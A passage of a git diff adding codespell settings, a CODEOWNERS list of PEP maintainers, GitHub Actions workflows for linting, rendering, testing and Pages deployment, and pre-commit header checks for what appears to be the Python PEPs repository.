diff --git a/.codespell/exclude-file.txt b/.codespell/exclude-file.txt new file mode 100644 index 00000000000..364eb2e2840 --- /dev/null +++ b/.codespell/exclude-file.txt @@ -0,0 +1,9 @@ + of scoped seem allright. I still think there is not enough need + + da de dum, hmm, hmm, dum de dum. + + output=`dmesg | grep hda` + p2 = Popen(["grep", "hda"], stdin=p1.stdout, stdout=PIPE) + + Error-de_DE=Wenn ist das Nunstück git und Slotermeyer? + Ja! Beiherhund das Oder die Virtualenvironment gersput! diff --git a/.codespell/ignore-words.txt b/.codespell/ignore-words.txt new file mode 100644 index 00000000000..bb47e30bfd8 --- /dev/null +++ b/.codespell/ignore-words.txt @@ -0,0 +1,17 @@ +adaptee +ans +arithmetics +asend +ba +clos +complies +crate +extraversion +fo +iif +nd +ned +recuse +reenable +therefor +warmup diff --git a/.codespellrc b/.codespellrc new file mode 100644 index 00000000000..c3cd40b9401 --- /dev/null +++ b/.codespellrc @@ -0,0 +1,5 @@ +[codespell] +skip = ./.git +ignore-words = .codespell/ignore-words.txt +exclude-file = .codespell/exclude-file.txt +uri-ignore-words-list = daa,ist,searchin,theses diff --git a/.gitattributes b/.gitattributes new file mode 100644 index 00000000000..f3bffe3c05a --- /dev/null +++ b/.gitattributes @@ -0,0 +1,5 @@ +# Ensure files are always checked in with consistent line endings +* text eol=lf +*.png binary +*.pptx binary +*.odp binary diff --git a/.github/CODEOWNERS b/.github/CODEOWNERS new file mode 100644 index 00000000000..b90c612b170 --- /dev/null +++ b/.github/CODEOWNERS @@ -0,0 +1,661 @@ +# The authors and sponsors of PEPs. +# Any commented-out PEP predates PEP sponsorship or their authors are no longer +# active core developers. + +# The PEP editors are the fallback "owners" for everything in this repository. +* @python/pep-editors + +# PEP infrastructure +.github/workflows/ @AA-Turner @CAM-Gerlach +Makefile @AA-Turner +requirements.txt @AA-Turner +infra/ @ewdurbin + +pep_sphinx_extensions/ @AA-Turner +AUTHOR_OVERRIDES.csv @AA-Turner +build.py @AA-Turner +conf.py @AA-Turner +contents.rst @AA-Turner +generate_rss.py @AA-Turner + +# Linting infrastructure +.codespell/ @CAM-Gerlach @hugovk +.codespellrc @CAM-Gerlach @hugovk +.pre-commit-config.yaml @CAM-Gerlach @hugovk + +# Git infrastructure +.gitattributes @CAM-Gerlach +.gitignore @CAM-Gerlach + +pep-0001.txt @warsaw @ncoghlan +pep-0001-process_flow.png @warsaw @ncoghlan +pep-0001/ @warsaw @ncoghlan +# pep-0002.txt +pep-0003.txt @jeremyhylton +pep-0004.txt @brettcannon +# pep-0005.txt +# pep-0006.txt +pep-0007.txt @gvanrossum @warsaw +pep-0008.txt @gvanrossum @warsaw @ncoghlan +pep-0009.txt @warsaw +pep-0010.txt @warsaw +pep-0011.txt @brettcannon +pep-0012.rst @brettcannon @warsaw +pep-0012/ @brettcannon +# pep-0013.rst is owned by the entire core team. +# ... +pep-0020.txt @tim-one +# ... +pep-0042.txt @jeremyhylton +# ... +pep-0100.txt @malemburg +pep-0101.txt @warsaw @gvanrossum +pep-0102.txt @warsaw @gvanrossum +# pep-0103.txt +# ... +pep-0160.txt @freddrake +# ... +pep-0200.txt @jeremyhylton +pep-0201.txt @warsaw +pep-0202.txt @warsaw +pep-0203.txt @Yhg1s +pep-0204.txt @Yhg1s +pep-0205.txt @freddrake +# pep-0206.txt +pep-0207.txt @gvanrossum +pep-0208.txt @nascheme @malemburg +# pep-0209.txt +# pep-0210.txt +# pep-0211.txt +# pep-0212.txt +# pep-0213.txt +pep-0214.txt @warsaw +# pep-0215.txt +# pep-0216.txt +# pep-0217.txt +pep-0218.txt @rhettinger +# pep-0219.txt +# pep-0220.txt +pep-0221.txt @Yhg1s +# pep-0222.txt +pep-0223.txt @tim-one +pep-0224.txt @malemburg +# pep-0225.txt +pep-0226.txt @jeremyhylton +pep-0227.txt @jeremyhylton +pep-0228.txt @gvanrossum +# pep-0229.txt +pep-0230.txt @gvanrossum +pep-0231.txt @warsaw +pep-0232.txt @warsaw +# pep-0233.txt +pep-0234.txt @gvanrossum +pep-0235.txt @tim-one +pep-0236.txt @tim-one +pep-0237.txt @gvanrossum +pep-0238.txt @gvanrossum +# pep-0239.txt +# pep-0240.txt +# pep-0241.txt +# pep-0242.txt +# pep-0243.txt +# pep-0244.txt +# pep-0245.txt +pep-0246.txt @aleaxit +# pep-0247.txt +pep-0248.txt @malemburg +pep-0249.txt @malemburg +pep-0250.txt @pfmoore +pep-0251.txt @warsaw @gvanrossum +pep-0252.txt @gvanrossum +pep-0253.txt @gvanrossum +pep-0254.txt @gvanrossum +pep-0255.txt @nascheme @tim-one +# pep-0256.txt +pep-0257.txt @gvanrossum +# pep-0258.txt +pep-0259.txt @gvanrossum +pep-0260.txt @gvanrossum +# pep-0261.txt +# pep-0262.txt +pep-0263.txt @malemburg +# pep-0264.txt +# pep-0265.txt +# pep-0266.txt +pep-0267.txt @jeremyhylton +# pep-0268.txt +# pep-0269.txt +# pep-0270.txt +# pep-0271.txt +# pep-0272.txt +# pep-0273.txt +pep-0274.txt @warsaw +pep-0275.txt @malemburg +# pep-0276.txt +# pep-0277.txt +pep-0278.txt @jackjansen +pep-0279.txt @rhettinger +pep-0280.txt @gvanrossum +# pep-0281.txt +pep-0282.txt @vsajip +pep-0283.txt @gvanrossum +# pep-0284.txt +pep-0285.txt @gvanrossum +# pep-0286.txt +# pep-0287.txt +pep-0288.txt @rhettinger +pep-0289.txt @rhettinger +pep-0290.txt @rhettinger +# pep-0291.txt +pep-0292.txt @warsaw +pep-0293.txt @doerwalter +# pep-0294.txt +# pep-0295.txt +# pep-0296.txt +pep-0297.txt @malemburg +pep-0298.txt @theller +# pep-0299.txt +# pep-0301.txt +pep-0302.txt @pfmoore +# pep-0303.txt +# pep-0304.txt +# pep-0305.txt +pep-0306.txt @jackdied @ncoghlan @benjaminp +pep-0307.txt @gvanrossum @tim-one +pep-0308.txt @gvanrossum @rhettinger +# pep-0309.txt +pep-0310.txt @pfmoore +pep-0311.txt @mhammond +pep-0312.txt @aleaxit +# pep-0313.txt +# pep-0314.txt +pep-0315.txt @rhettinger +# pep-0316.txt +# pep-0317.txt +# pep-0318.txt +# pep-0319.txt +pep-0320.txt @warsaw @rhettinger +# pep-0321.txt +pep-0322.txt @rhettinger +pep-0323.txt @aleaxit +# pep-0324.txt +# pep-0325.txt +pep-0326.txt @terryjreedy +pep-0327.txt @facundobatista +# pep-0328.txt +pep-0329.txt @rhettinger +# pep-0330.txt +# pep-0331.txt +# pep-0332.txt +# pep-0333.txt +# pep-0334.txt +# pep-0335.txt +# pep-0336.txt +# pep-0337.txt +pep-0338.txt @ncoghlan +pep-0339.txt @brettcannon +pep-0340.txt @gvanrossum +pep-0341.txt @birkenfeld +pep-0342.txt @gvanrossum +pep-0343.txt @gvanrossum @ncoghlan +# pep-0344.txt +# pep-0345.txt +pep-0346.txt @ncoghlan +# pep-0347.txt +pep-0348.txt @brettcannon +pep-0349.txt @nascheme +# pep-0350.txt +pep-0351.txt @warsaw +pep-0352.txt @brettcannon @gvanrossum +# pep-0353.txt +# pep-0354.txt +# pep-0355.txt +pep-0356.txt @gvanrossum +# pep-0357.txt +pep-0358.txt @nascheme @gvanrossum +# pep-0359.txt +pep-0360.txt @brettcannon +pep-0361.txt @warsaw +pep-0362.txt @brettcannon @1st1 @larryhastings +# pep-0363.txt +pep-0364.txt @warsaw +# pep-0365.txt +pep-0366.txt @ncoghlan +# pep-0367.txt +# pep-0368.txt +pep-0369.txt @tiran +pep-0370.txt @tiran +# pep-0371.txt +pep-0372.txt @mitsuhiko @rhettinger +pep-0373.txt @benjaminp +pep-0374.txt @brettcannon @avassalotti @warsaw +pep-0375.txt @benjaminp +# pep-0376.txt +pep-0377.txt @ncoghlan +pep-0378.txt @rhettinger +# pep-0379.txt +# pep-0380.txt +# pep-0381.txt +# pep-0382.txt +# pep-0383.txt +# pep-0384.txt +pep-0385.txt @pitrou @birkenfeld +# pep-0386.txt +pep-0387.txt @benjaminp +# pep-0389.txt +# pep-0390.txt +pep-0391.txt @vsajip +pep-0392.txt @birkenfeld +# pep-0393.txt +pep-0394.txt @ncoghlan @warsaw @encukou @willingc +pep-0395.txt @ncoghlan +pep-0396.txt @warsaw +pep-0397.txt @mhammond +pep-0398.txt @birkenfeld +pep-0399.txt @brettcannon +pep-0400.txt @vstinner +pep-0401.txt @warsaw @brettcannon +# pep-0402.txt +pep-0403.txt @ncoghlan +pep-0404.txt @warsaw +# pep-0405.txt +pep-0406.txt @ncoghlan +pep-0407.txt @pitrou @birkenfeld @warsaw +pep-0408.txt @ncoghlan @eliben +pep-0409.txt @ethanfurman +pep-0410.txt @vstinner +pep-0411.txt @ncoghlan @eliben +pep-0412.txt @markshannon +pep-0413.txt @ncoghlan +pep-0414.txt @mitsuhiko @ncoghlan +pep-0415.txt @benjaminp +pep-0416.txt @vstinner +pep-0417.txt @voidspace +pep-0418.txt @vstinner +pep-0418/ @vstinner +# pep-0419.txt +pep-0420.txt @ericvsmith +pep-0421.txt @ericsnowcurrently +pep-0422.txt @ncoghlan +# pep-0423.txt +pep-0424.txt @alex +# pep-0425.txt +pep-0426.txt @ncoghlan @dstufft +pep-0426/ @ncoghlan @dstufft +# pep-0427.txt +pep-0428.txt @pitrou +pep-0429.txt @larryhastings +pep-0430.txt @ncoghlan +# pep-0431.txt +pep-0432.txt @ncoghlan @vstinner @ericsnowcurrently +pep-0433.txt @vstinner +pep-0433/ @vstinner +pep-0434.txt @terryjreedy +pep-0435.txt @warsaw @eliben @ethanfurman +pep-0436.txt @larryhastings +# pep-0437.txt +# pep-0438.txt +# pep-0439.txt +pep-0440.txt @ncoghlan @dstufft +pep-0441.txt @pfmoore +pep-0442.txt @pitrou +pep-0443.txt @ambv +pep-0444.txt @mitsuhiko +pep-0445.txt @vstinner +pep-0446.txt @vstinner +pep-0446/ @vstinner +pep-0447.txt @ronaldoussoren +# pep-0448.txt +pep-0449.txt @dstufft +pep-0450.txt @stevendaprano +pep-0451.txt @ericsnowcurrently +pep-0452.txt @tiran +pep-0453.txt @dstufft @ncoghlan +pep-0454.txt @vstinner +pep-0455.txt @pitrou +pep-0456.txt @tiran +pep-0457.txt @larryhastings +# pep-0458.txt, pep-0458-1.png +pep-0459.txt @ncoghlan +pep-0460.txt @pitrou +pep-0461.txt @ethanfurman +pep-0462.txt @ncoghlan +# pep-0463.txt +pep-0464.txt @dstufft +pep-0465.txt @njsmith +pep-0465/ @njsmith +pep-0466.txt @ncoghlan +pep-0467.txt @ncoghlan @ethanfurman +pep-0468.txt @ericsnowcurrently +pep-0469.txt @ncoghlan +pep-0470.txt @dstufft +# pep-0471.txt +# pep-0472.txt +# pep-0473.txt +pep-0474.txt @ncoghlan +pep-0475.txt @vstinner +pep-0476.txt @alex +pep-0477.txt @dstufft @ncoghlan +pep-0478.txt @larryhastings +pep-0479.txt @gvanrossum +# pep-0480.txt, pep-0480-1.png +pep-0481.txt @dstufft +pep-0482.txt @ambv +pep-0483.txt @gvanrossum @ilevkivskyi +pep-0484.txt @gvanrossum @ambv +# pep-0485.txt +pep-0486.txt @pfmoore +# pep-0487.txt +pep-0488.txt @brettcannon +pep-0489.txt @encukou @scoder @ncoghlan +pep-0490.txt @vstinner +# pep-0491.txt +pep-0492.txt @1st1 +pep-0493.txt @ncoghlan @malemburg +pep-0494.txt @ned-deily +pep-0495.txt @abalkin @tim-one +pep-0495-gap.png @abalkin @tim-one +pep-0495-gap.svg @abalkin @tim-one +pep-0495-fold.svg @abalkin @tim-one +pep-0495-fold-2.png @abalkin @tim-one +pep-0495-daylightsavings.png @abalkin @tim-one +# pep-0496.txt +# pep-0497.txt +pep-0498.txt @ericvsmith +# pep-0499.txt +pep-0500.txt @abalkin @tim-one +pep-0501.txt @ncoghlan +# pep-0502.txt +pep-0503.txt @dstufft +pep-0504.txt @ncoghlan +pep-0505.rst @zooba +pep-0505/ @zooba +pep-0506.txt @stevendaprano +pep-0507.txt @warsaw +pep-0508.txt @rbtcollins +pep-0509.txt @vstinner +pep-0510.txt @vstinner +pep-0511.txt @vstinner +pep-0512.txt @brettcannon +pep-0513.txt @njsmith +pep-0514.txt @zooba +pep-0515.txt @birkenfeld @serhiy-storchaka +pep-0516.txt @rbtcollins @njsmith +pep-0517.txt @njsmith +pep-0518.txt @brettcannon @njsmith @dstufft +pep-0519.txt @brettcannon +pep-0520.txt @ericsnowcurrently +pep-0521.txt @njsmith +pep-0522.txt @ncoghlan @njsmith +pep-0523.txt @brettcannon @DinoV +pep-0524.txt @vstinner +pep-0525.txt @1st1 +pep-0525-1.png @1st1 +pep-0526.txt @ilevkivskyi @lisroach @gvanrossum +pep-0527.txt @dstufft +pep-0528.txt @zooba +pep-0529.txt @zooba +pep-0530.txt @1st1 +pep-0531.txt @ncoghlan +pep-0532.txt @ncoghlan +pep-0532/ @ncoghlan +pep-0533.txt @njsmith +pep-0534.txt @encukou @ncoghlan +pep-0535.txt @ncoghlan +# pep-0536.txt +pep-0537.txt @ned-deily +pep-0538.txt @ncoghlan +# pep-0539.txt +pep-0540.txt @vstinner +pep-0541.txt @ambv +# pep-0542.txt +pep-0543.rst @tiran +pep-0544.txt @ilevkivskyi @ambv +pep-0545.txt @JulienPalard @methane @vstinner +pep-0546.txt @vstinner +pep-0547.rst @encukou +pep-0548.rst @bitdancer +pep-0549.rst @larryhastings +pep-0550.rst @1st1 +pep-0550-lookup_hamt.png @1st1 +pep-0550-hamt_vs_dict.png @1st1 +pep-0550-hamt_vs_dict-v2.png @1st1 +pep-0551.rst @zooba +pep-0552.rst @benjaminp +pep-0553.rst @warsaw +pep-0554.rst @ericsnowcurrently +# pep-0555.rst +pep-0556.rst @pitrou +pep-0557.rst @ericvsmith +pep-0558.rst @ncoghlan +pep-0559.rst @warsaw +pep-0560.rst @ilevkivskyi +# pep-0561.rst +pep-0562.rst @ilevkivskyi +pep-0563.rst @ambv +pep-0564.rst @vstinner +pep-0565.rst @ncoghlan +# pep-0566.rst +pep-0567.rst @1st1 +pep-0568.rst @njsmith +pep-0569.rst @ambv +pep-0570.rst @larryhastings @pablogsal +# pep-0571.rst +pep-0572.rst @tim-one @gvanrossum +pep-0573.rst @encukou @ncoghlan @ericsnowcurrently +pep-0574.rst @pitrou +# pep-0575.rst +pep-0576.rst @markshannon +pep-0577.rst @ncoghlan +pep-0578.rst @zooba +# pep-0579.rst +# pep-0580.rst +pep-0581.rst @Mariatta +pep-0582.rst @kushaldas @zooba @dstufft @ncoghlan +# pep-0583.rst +pep-0584.rst @stevendaprano @brandtbucher +pep-0585.rst @ambv +pep-0586.rst @ilevkivskyi +pep-0587.rst @vstinner @ncoghlan +pep-0588.rst @Mariatta +pep-0589.rst @gvanrossum +pep-0590.rst @markshannon +pep-0591.rst @ilevkivskyi +pep-0592.rst @dstufft +pep-0593.rst @ilevkivskyi +pep-0594.rst @tiran @brettcannon +pep-0595.rst @ezio-melotti @berkerpeksag +pep-0596.rst @ambv +pep-0597.rst @methane +pep-0598.rst @ncoghlan +pep-0599.rst @pfmoore +pep-0600.rst @njsmith +pep-0601.txt @isidentical +pep-0602.rst @ambv +pep-0602-example-release-calendar.png @ambv +pep-0602-example-release-calendar.pptx @ambv +pep-0602-overlapping-support-matrix.png @ambv +pep-0602-overlapping-support-matrix.pptx @ambv +pep-0603.rst @1st1 +pep-0603-lookup_hamt.png @1st1 +pep-0603-hamt_vs_dict.png @1st1 +# pep-0604.rst +pep-0605.rst @zooba @ncoghlan +pep-0605-example-release-calendar.png @zooba @ncoghlan +pep-0605-overlapping-support-matrix.png @zooba @ncoghlan +pep-0605/ @zooba @ncoghlan +pep-0606.rst @vstinner +pep-0607.rst @ambv @zooba @ncoghlan +pep-0608.rst @vstinner +pep-0609.rst @pganssle +pep-0610.rst @cjerdonek +pep-0611.rst @markshannon +pep-0612.rst @gvanrossum +pep-0613.rst @gvanrossum +pep-0614.rst @brandtbucher +pep-0615.rst @pganssle +pep-0616.rst @ericvsmith +pep-0617.rst @gvanrossum @pablogsal @lysnikolaou +pep-0618.rst @brandtbucher +pep-0619.rst @pablogsal +pep-0620.rst @vstinner +pep-0621.rst @brettcannon @pganssle +pep-0622.rst @brandtbucher @ilevkivskyi @gvanrossum +pep-0623.rst @methane +pep-0624.rst @methane +pep-0625.rst @pfmoore +pep-0626.rst @markshannon +pep-0627.rst @encukou +pep-0628.txt @ncoghlan +pep-0629.rst @dstufft +pep-0630.rst @encukou +pep-0631.rst @pganssle +pep-0632.rst @zooba +pep-0633.rst @brettcannon +pep-0634.rst @brandtbucher @gvanrossum +pep-0635.rst @brandtbucher @gvanrossum +pep-0636.rst @brandtbucher @gvanrossum +pep-0637.rst @stevendaprano +pep-0638.rst @markshannon +pep-0639.rst @CAM-Gerlach +pep-0640.rst @Yhg1s +pep-0641.rst @zooba @warsaw @brettcannon +pep-0642.rst @ncoghlan +pep-0643.rst @pfmoore +pep-0644.rst @tiran +pep-0645.rst @gvanrossum +pep-0646.rst @gvanrossum +pep-0647.rst @gvanrossum +pep-0648.rst @pablogsal +pep-0649.rst @larryhastings +pep-0650.rst @brettcannon +pep-0651.rst @markshannon +pep-0652.rst @encukou +pep-0653.rst @markshannon +pep-0654.rst @1st1 @gvanrossum @iritkatriel +pep-0655.rst @gvanrossum +pep-0656.rst @brettcannon +pep-0657.rst @pablogsal @isidentical @ammaraskar +pep-0658.rst @brettcannon +pep-0659.rst @markshannon +pep-0660.rst @pfmoore +pep-0661.rst @taleinat +pep-0662.rst @brettcannon +pep-0662/ @brettcannon +pep-0663.txt @ethanfurman +pep-0664.rst @pablogsal +pep-0665.rst @brettcannon +# pep-0666.txt +pep-0667.rst @markshannon +pep-0668.rst @dstufft +pep-0669.rst @markshannon +pep-0670.rst @vstinner @erlend-aasland +pep-0671.rst @rosuav +pep-0672.rst @encukou +pep-0673.rst @jellezijlstra +pep-0674.rst @vstinner +pep-0675.rst @jellezijlstra +pep-0676.rst @AA-Turner @Mariatta +pep-0677.rst @gvanrossum +pep-0678.rst @iritkatriel +pep-0679.rst @pablogsal +pep-0680.rst @encukou +pep-0681.rst @jellezijlstra +pep-0682.rst @mdickinson +pep-0683.rst @ericsnowcurrently +pep-0684.rst @ericsnowcurrently +# pep-0684.rst +pep-0685.rst @brettcannon +pep-0686.rst @methane +pep-0687.rst @encukou @erlend-aasland +pep-0688.rst @jellezijlstra +pep-0689.rst @encukou +pep-0690.rst @warsaw +pep-0691.rst @dstufft +# ... +# pep-0754.txt +# ... +pep-0801.rst @warsaw +# ... +pep-3000.txt @gvanrossum +pep-3001.txt @birkenfeld +# pep-3002.txt +pep-3003.txt @brettcannon @gvanrossum +# ... +pep-3099.txt @birkenfeld +pep-3100.txt @brettcannon +# pep-3101.txt +# pep-3102.txt +pep-3103.txt @gvanrossum +# pep-3104.txt +pep-3105.txt @birkenfeld +pep-3106.txt @gvanrossum +# pep-3107.txt +pep-3108.txt @brettcannon +# pep-3109.txt +# pep-3110.txt +# pep-3111.txt +# pep-3112.txt +pep-3113.txt @brettcannon +# pep-3114.txt +# pep-3115.txt +pep-3116.txt @gvanrossum +pep-3117.txt @birkenfeld +# pep-3118.txt +pep-3119.txt @gvanrossum +# pep-3120.txt +# pep-3121.txt +pep-3122.txt @brettcannon +# pep-3123.txt +# pep-3124.txt +# pep-3125.txt +pep-3126.txt @rhettinger +# pep-3127.txt +# pep-3128.txt +# pep-3129.txt +# pep-3130.txt +# pep-3131.txt +pep-3132.txt @birkenfeld +# pep-3133.txt +# pep-3134.txt +# pep-3135.txt +# pep-3136.txt +pep-3137.txt @gvanrossum +# pep-3138.txt +pep-3139.txt @benjaminp +# pep-3140.txt +# pep-3141.txt +# pep-3142.txt +# pep-3143.txt +# pep-3144.txt +# pep-3145.txt +# pep-3146.txt +pep-3147.txt @warsaw +pep-3147-1.dia @warsaw +pep-3147-1.png @warsaw +pep-3148.txt @brianquinlan +pep-3149.txt @warsaw +pep-3150.txt @ncoghlan +pep-3151.txt @pitrou +# pep-3152.txt +# pep-3153.txt +pep-3154.txt @pitrou +pep-3155.txt @pitrou +pep-3156.txt @gvanrossum +# ... +# pep-3333.txt +# ... +pep-8000.rst @warsaw +pep-8001.rst @brettcannon @tiran @dstufft @ericsnowcurrently @gpshead @ambv @Mariatta @njsmith @pablogsal @rhettinger @taleinat @tim-one @zware +pep-8002.rst @warsaw @ambv @pitrou @dhellmann @willingc +pep-8010.rst @warsaw +pep-8011.rst @Mariatta @warsaw +pep-8012.rst @ambv +pep-8013.rst @zooba +pep-8014.rst @jackjansen +pep-8015.rst @vstinner +pep-8016.rst @njsmith @dstufft +# ... +pep-8100.rst @njsmith +# pep-8101.rst +# pep-8102.rst diff --git a/.github/workflows/build.yml b/.github/workflows/build.yml deleted file mode 100644 index 272c29679f0..00000000000 --- a/.github/workflows/build.yml +++ /dev/null @@ -1,35 +0,0 @@ -name: Build - -on: [push, pull_request] - -jobs: - build: - runs-on: ubuntu-latest - - steps: - - uses: actions/checkout@v2 - - - name: Set up Python - uses: actions/setup-python@v2 - with: - python-version: 3.8 - - - name: Install dependencies - run: | - python -m pip install -U pip - python -m pip install -U docutils - - - name: Build - run: make -j$(nproc) - - - name: Deploy - if: > - ( - github.repository == 'python/peps' && - github.ref == 'refs/heads/master' - ) - run: | - bash deploy.bash - env: - AWS_ACCESS_KEY_ID: ${{ secrets.AWS_ACCESS_KEY_ID }} - AWS_SECRET_ACCESS_KEY: ${{ secrets.AWS_SECRET_ACCESS_KEY }} diff --git a/.github/workflows/lint.yml b/.github/workflows/lint.yml index 00faf27fb51..dcb14b7ae6d 100644 --- a/.github/workflows/lint.yml +++ b/.github/workflows/lint.yml @@ -1,11 +1,20 @@ name: Lint -on: [push, pull_request] +on: [push, pull_request, workflow_dispatch] jobs: pre-commit: + name: Run pre-commit runs-on: ubuntu-latest + steps: - - uses: actions/checkout@v2 - - uses: actions/setup-python@v2 - - uses: pre-commit/action@v2.0.0 + - name: Check out repo + uses: actions/checkout@v3 + + - name: Set up Python 3 + uses: actions/setup-python@v3 + with: + python-version: '3.x' + + - name: Run pre-commit hooks + uses: pre-commit/action@v2.0.3 diff --git a/.github/workflows/render.yml b/.github/workflows/render.yml new file mode 100644 index 00000000000..264716958ec --- /dev/null +++ b/.github/workflows/render.yml @@ -0,0 +1,48 @@ +name: Render PEPs + +on: [push, pull_request, workflow_dispatch] + +jobs: + render-peps: + name: Render PEPs + runs-on: ubuntu-latest + + steps: + - name: 🛎️ Checkout + uses: actions/checkout@v3 + with: + fetch-depth: 0 # fetch all history so that last modified date-times are accurate + + - name: 🐍 Set up Python 3 + uses: actions/setup-python@v3 + with: + python-version: '3.x' + cache: "pip" + + - name: 👷‍ Install dependencies + run: | + python -m pip install --upgrade pip + + - name: 🔧 Render PEPs + run: make pages -j$(nproc) + + # remove the .doctrees folder when building for deployment as it takes two thirds of disk space + - name: 🔥 Clean up files + run: rm -r build/.doctrees/ + + - name: 🚀 Deploy to GitHub pages + # This allows CI to build branches for testing + if: github.ref == 'refs/heads/main' + uses: JamesIves/github-pages-deploy-action@v4.2.2 + with: + branch: gh-pages # The branch to deploy to. + folder: build # Synchronise with build.py -> build_directory + single-commit: true # Delete existing files + + - name: ♻️ Purge CDN cache + if: github.ref == 'refs/heads/main' + run: | + curl -H "Accept: application/json" -H "Fastly-Key: $FASTLY_TOKEN" -X POST "https://api.fastly.com/service/$FASTLY_SERVICE_ID/purge_all" + env: + FASTLY_TOKEN: ${{ secrets.FASTLY_TOKEN }} + FASTLY_SERVICE_ID: ${{ secrets.FASTLY_SERVICE_ID }} diff --git a/.github/workflows/test.yml b/.github/workflows/test.yml new file mode 100644 index 00000000000..78833bb568e --- /dev/null +++ b/.github/workflows/test.yml @@ -0,0 +1,51 @@ +name: Test Sphinx Extensions + +on: + push: + paths: + - ".github/workflows/test.yml" + - "pep_sphinx_extensions/**" + - "tox.ini" + pull_request: + paths: + - ".github/workflows/test.yml" + - "pep_sphinx_extensions/**" + - "tox.ini" + workflow_dispatch: + +env: + FORCE_COLOR: 1 + +jobs: + test: + runs-on: ${{ matrix.os }} + strategy: + fail-fast: false + matrix: + python-version: ["3.9", "3.10"] + os: [windows-latest, macos-latest, ubuntu-latest] + + steps: + - uses: actions/checkout@v3 + + - name: Set up Python ${{ matrix.python-version }} + uses: actions/setup-python@v3 + with: + python-version: ${{ matrix.python-version }} + cache: pip + + - name: Install dependencies + run: | + python -m pip install -U pip + python -m pip install -U wheel + python -m pip install -U tox + + - name: Run tests with tox + run: | + tox -e py -- -v --cov-report term + + - name: Upload coverage + uses: codecov/codecov-action@v3 + with: + flags: ${{ matrix.os }} + name: ${{ matrix.os }} Python ${{ matrix.python-version }} diff --git a/.gitignore b/.gitignore index 0be4dea5de6..d633618272c 100644 --- a/.gitignore +++ b/.gitignore @@ -1,12 +1,16 @@ -pep-0000.txt -pep-0000.rst -pep-????.html -peps.rss -__pycache__ -*.pyc -*.pyo -*~ -*env -.vscode -*.swp -/build +pep-0000.txt +pep-0000.rst +pep-????.html +peps.rss +__pycache__ +*.pyc +*.pyo +*~ +*env +.coverage +.tox +.vscode +*.swp +/build +/package +/venv diff --git a/.pre-commit-config.yaml b/.pre-commit-config.yaml index 287f8441d70..a4c436d0efe 100644 --- a/.pre-commit-config.yaml +++ b/.pre-commit-config.yaml @@ -1,6 +1,243 @@ +# See https://pre-commit.com for more information +# See https://pre-commit.com/hooks.html for more hooks + +minimum_pre_commit_version: '2.8.2' + +default_language_version: + python: python3 + +default_stages: [commit] + + repos: + # General file checks and fixers + - repo: https://github.com/pre-commit/pre-commit-hooks + rev: v4.1.0 + hooks: + - id: mixed-line-ending + name: "Normalize mixed line endings" + args: [--fix=lf] + - id: file-contents-sorter + name: "Sort codespell ignore list" + files: '.codespell/ignore-words.txt' + + - id: check-case-conflict + name: "Check for case conflicts" + - id: check-merge-conflict + name: "Check for merge conflict markers" + - id: check-executables-have-shebangs + name: "Check that executables have shebangs" + - id: check-shebang-scripts-are-executable + name: "Check that shebangs are executable" + + - id: check-vcs-permalinks + name: "Check that VCS links are permalinks" + + # - id: check-ast + # name: "Check Python AST" + - id: check-json + name: "Check JSON" + - id: check-toml + name: "Check TOML" + - id: check-yaml + name: "Check YAML" + + - repo: https://github.com/psf/black + rev: 22.3.0 + hooks: + - id: black + name: "Format with Black" + args: + - '--target-version=py39' + - '--target-version=py310' + files: 'pep_sphinx_extensions/tests/.*' + + - repo: https://github.com/PyCQA/isort + rev: 5.10.1 + hooks: + - id: isort + name: "Sort imports with isort" + args: ['--profile=black', '--atomic'] + files: 'pep_sphinx_extensions/tests/.*' + + - repo: https://github.com/tox-dev/tox-ini-fmt + rev: 0.5.2 + hooks: + - id: tox-ini-fmt + name: "Format tox.ini" + + # RST checks - repo: https://github.com/pre-commit/pygrep-hooks - rev: v1.7.1 + rev: v1.9.0 hooks: - id: rst-backticks + name: "Check RST: No single backticks" - id: rst-inline-touching-normal + name: "Check RST: No backticks touching text" + files: '^pep-\d+\.txt|\.rst$' + types: [text] + - id: rst-directive-colons + name: "Check RST: 2 colons after directives" + files: '^pep-\d+\.txt|\.rst$' + types: [text] + + # Manual codespell check + - repo: https://github.com/codespell-project/codespell + rev: v2.1.0 + hooks: + - id: codespell + name: "Check for common misspellings in text files" + stages: [manual] + + # Local checks for PEP headers and more + - repo: local + hooks: + - id: check-no-tabs + name: "Check tabs not used in PEPs" + language: pygrep + entry: '\t' + files: '^pep-\d+\.(rst|txt)$' + types: [text] + + - id: check-required-fields + name: "Check PEPs have all required headers" + language: pygrep + entry: '(?-m:^PEP:(?=[\s\S]*\nTitle:)(?=[\s\S]*\nAuthor:)(?=[\s\S]*\nStatus:)(?=[\s\S]*\nType:)(?=[\s\S]*\nContent-Type:)(?=[\s\S]*\nCreated:))' + args: ['--negate', '--multiline'] + files: '^pep-\d+\.(rst|txt)$' + types: [text] + + - id: validate-pep-number + name: "'PEP' header must be a number 1-9999" + language: pygrep + entry: '(?-m:^PEP:(?:(?! +(0|[1-9][0-9]{0,3})\n)))' + args: ['--multiline'] + files: '^pep-\d+\.(rst|txt)$' + types: [text] + + - id: validate-title + name: "'Title' must be 1-79 characters" + language: pygrep + entry: '(?<=\n)Title:(?:(?! +\S.{1,78}\n(?=[A-Z])))' + args: ['--multiline'] + files: '^pep-\d+\.(rst|txt)$' + exclude: '^pep-(0499)\.(rst|txt)$' + types: [text] + + - id: validate-author + name: "'Author' must be list of 'Name , ...'" + language: pygrep + entry: '(?<=\n)Author:(?:(?!((( +|\n {1,8})[^!#$%&()*+,/:;<=>?@\[\\\]\^_`{|}~]+( <[\w!#$%&''*+\-/=?^_{|}~.]+(@| at )[\w\-.]+\.[A-Za-z0-9]+>)?)(,|(?=\n[^ ])))+\n(?=[A-Z])))' + args: [--multiline] + files: '^pep-\d+\.rst$' + types: [text] + + - id: validate-author-legacy + name: "Legacy 'Author' must be a list of names/emails" + language: pygrep + entry: '(?<=\n)Author:(?:(?!((((( +|\n {1,8})[^!#$%&()*+,/:;<=>?@\[\\\]\^_`{|}~]+( <[\w!#$%&''*+\-/=?^_{|}~.]+(@| at )[\w\-.]+\.[A-Za-z0-9]+>)?)(,|(?=\n[^ ])))+)|(((( +|\n {1,8})[\w!#$%&''*+\-/=?^_{|}~.]+(@| at )[\w\-.]+\.[A-Za-z0-9]+) \(([^!#$%&()*+,/:;<=>?@\[\\\]\^_`{|}~]+)\)(,|(?=\n[^ ])))+))\n(?=[A-Z])))' + args: [--multiline] + files: '^pep-\d+\.(rst|txt)$' + types: [text] + + - id: validate-sponsor + name: "'Sponsor' must have format 'Name '" + language: pygrep + entry: '^Sponsor:(?: (?! 